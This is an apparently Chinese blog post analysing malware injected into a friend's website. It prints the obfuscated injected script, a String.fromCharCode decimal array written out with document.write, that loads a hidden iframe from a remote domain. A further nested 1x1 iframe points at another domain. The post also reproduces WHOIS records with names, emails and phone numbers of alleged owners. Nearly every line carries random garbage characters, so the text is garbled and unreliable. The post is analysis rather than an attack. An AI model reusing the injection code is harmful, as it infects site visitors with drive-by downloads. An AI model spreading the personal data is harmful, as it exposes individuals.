首发在我的博客里面，
5J\|gZQF bo ! ] http://www.areway.cn/?p=175 {e[pSD6 LO} :Ub p2c=;5|/ Q 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
+6 M+hO] Nw>T $Rz S <script>t=’60,105,102,114,97,109,101,
MD
?F1l"}% 32,115,114,99,61,104,116,116,112,58,47,47,
W*rU,F|9 102,114,101,101,46,117,45,117,117,117,46,99,
5az
4N T 110,47,101,114,114,111,114,46,104,116,109,
H^PqYLj N 32,119,105,100,116,104,61,49,48,48,32,104,
{F6dSF` 101,105,103,104,116,61,48,62,60,47,105,102,
G<^]0`"+)t 114,97,109,101,62′;
0B$7S, 2 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
b~Pxgfu" h;ol" <script>t=’60,105,102,114,97,109,101,32,115,
n:^ "[Le 114,99,61,104,116,116,112,58,47,47,102,114,
q>|[JJ*6_N 101,101,46,117,45,117,117,117,46,99,110,47,
ZOr Tbik 101,114,114,111,114,46,104,116,109,32,119,
p-'6_\F.Ke 105,100,116,104,61,49,48,48,32,104,101,105,
F`BgKH! 103,104,116,61,48,62,60,47,105,102,114,97,
\abAPo 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
X !#i@V document.write(t);</script>
r0g/ :lJi F@K*T2uh <html xmlns=”
d7_ g
u http://www.w3.org/1999/xhtml APtselC “>
!,6v=n[Nz <head>
n:b B $Ai2 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
5e/qgI)M5 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
MCi` TXr <title>首页 - 爱生活家庭网
kToVBU$ s*)41\V0 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Bd[L6J) 转换字符串后的大概内容是（谁点击后果自付）：
Rgfc29(8 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
N,/BudF o b,rH&+ 2H 查询玉米u-uuu.cn的详细信息：
] [HGzHA Domain Name: u-uuu.cn
&weY8\HD ROID: 20070901s10001s64972306-cn
WBw
M;S#% Domain Status: ok
S}m$,<x Registrant Organization: 王雷
%CxEZPe$ Registrant Name: 王雷
Pn+IJ=0Y Administrative Email:
czlovexs@126.com J~iOP Sponsoring Registrar: 北京万网志成科技有限公司
Y[ iDX# Name Server:ns.yovole.com
O/D Af|X| Name Server:ns1.yovole.com
0HHui7Yy> Registration Date: 2007-09-01 17:54
p- "Z'$A` Expiration Date: 2008-09-01 17:54
'n l RY5@2 最后PING了一下地址 都没有什么….
[:nx);\ Q$|^ ~ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
V\@jC\-5Vt <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
*?^Z)C> <script language=”javascript” src=”
e $Xq http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script mFqSD >
wo vmy{K 这个玉米应该有可能是木马作者的：
I #M%%5e foafau.info的详细信息：
2gd<8a' ' Access to INFO WHOIS information is provided to assist persons in
Gh]_L+ determining the contents of a domain name registration record in the
]g;^w?9h Afilias registry database. The data in this record is provided by
o~v_PD[S Afilias Limited for informational purposes only, and Afilias does not
Y{k>*: Ax_ guarantee its accuracy. This service is intended only for query-based
ex`
xkZ+ access. You agree that you will use this data only for lawful purposes
w~k HQ%A and that, under no circumstances will you use this data to: (a) allow,
\!+-4,CbZY enable, or otherwise support the transmission by e-mail, telephone, or
F . K2 facsimile of mass unsolicited, commercial advertising or solicitations
]Q6+e(:~ZH to entities other than the data recipient’s own existing customers; or
gohAp (b) enable high volume, automated, electronic processes that send
. O5LI35, queries or data to the systems of Registry Operator, a Registrar, or
AVXX\n\_ Afilias except as reasonably necessary to register domain names or
|Z`M*.d+ modify existing registrations. All rights reserved. Afilias reserves
2[Z0I4r the right to modify these terms at any time. By submitting this query,
V19e> you agree to abide by this policy.
Xw7{R Domain ID:D22418703-LRMS
t6'61*)|0 Domain Name:FOAFAU.INFO
Yv) Bj Created On:20-Nov-2007 16:05:42 UTC
, M\j%3 Last Updated On:20-Nov-2007 16:05:44 UTC
`%-4>jI9- Expiration Date:20-Nov-2008 16:05:42 UTC
5cD
XWF Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
v~ ^ks{ Status:CLIENT DELETE PROHIBITED
n,t6v5>88 Status:CLIENT RENEW PROHIBITED
|h5kg<Z go Status:CLIENT TRANSFER PROHIBITED
,f} h} Status:CLIENT UPDATE PROHIBITED
6( >3P Status:TRANSFER PROHIBITED
9<xTu>7J Registrant ID:GODA-040110615
[f<" p[ Registrant Name:liu hong
2HcsQ*H] G Registrant Organization:
K! 3{M!B Registrant Street1:beijing
:e1'o Registrant Street2:
DdBxqkh Registrant Street3:
nIf N " Registrant City:beijing
TE3*ktB{N Registrant State/Province:
4\p$4Hs} Registrant Postal Code:100000
H76E +AY Registrant Country:CN
Y4QLs^Id B Registrant Phone:+86.860108888777
B ,3 t` Registrant Phone Ext.:
as>:\hjP## Registrant FAX:
S8\+XJ Registrant FAX Ext.:
b.QpHrnhtK Registrant Email:bbbshiji@163.com
_ 1sP.0 t Admin ID:GODA-240110615
M]c7D`%s Admin Name:liu hong
XZ} de%U1 Admin Organization:
h ~ $& Admin Street1:beijing
f%c06U n= Admin Street2:
8KFj<N>' Admin Street3:
p~h4\ .*` Admin City:beijing
aSUsyOe Admin State/Province:
IWQ&6SDW$z Admin Postal Code:100000
DlDB=N0@S Admin Country:CN
g[M]i6h2 Admin Phone:+86.860108888777
h-7A9: Admin Phone Ext.:
im=5{PbJ^ Admin FAX:
sH%&+4!3 Admin FAX Ext.:
D - 6 Admin Email:bbbshiji@163.com
rsWQHHkO Billing ID:GODA-340110615
'GkvUrD9D$ Billing Name:liu hong
F#s u5<d Billing Organization:
+kM\
D~D1 Billing Street1:beijing
kfXS_\@iW1 Billing Street2:
cv= \g Z Billing Street3:
*%X.ym ' Billing City:beijing
X<Z (]`i Billing State/Province:
(v!mR+ \x Billing Postal Code:100000
Q P:9%f>= Billing Country:CN
D i+4Eb
Billing Phone:+86.860108888777
GMBJjP&R] Billing Phone Ext.:
glx2I_y Billing FAX:
2 l(Dee Y Billing FAX Ext.:
;Z* 'D} Billing Email:bbbshiji@163.com
Tv\HAK<N Tech ID:GODA-140110615
usy,V"{ Tech Name:liu hong
>Fyu@u Tech Organization:
gGI8t@t: Tech Street1:beijing
4`s)ue Tech Street2:
y:.?5KsPI Tech Street3:
3w6&&R9 Tech City:beijing
VG)="g[%) Tech State/Province:
zka?cOmYF[ Tech Postal Code:100000
#& V5H{ Tech Country:CN
KY
g3U Tech Phone:+86.860108888777
x6 a hZ Tech Phone Ext.:
=:gjz4}_8 Tech FAX:
^>^ \ CP] Tech FAX Ext.:
z?kd'j`FG Tech Email:bbbshiji@163.com
uf]Y^,2 Name Server:NS27.DOMAINCONTROL.COM
T`?n,'!( Name Server:NS28.DOMAINCONTROL.COM
Y%g "Y Name Server:
_IxamWpX$ Name Server:
K_>/ lirE? Name Server:
>ZeEX, N Name Server:
&dRjqn^&X Name Server:
)Oiev u_"| Name Server:
, ]7XMU3 Name Server:
i=L8=8B` Name Server:
#W| !fILL Name Server:
3D[=b%2\ Name Server:
H* /&A9(" Name Server:
{2:d` fqD BC({ EE~R) 接着下载每个文件里面的代码：
C8.W5P[U 一步一步看..
Fg=v6j4W 
bnr|Y!T}Bi 
u s`} 
BI.V0@qZ 
TEWAZVE* 
6vobta^w 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
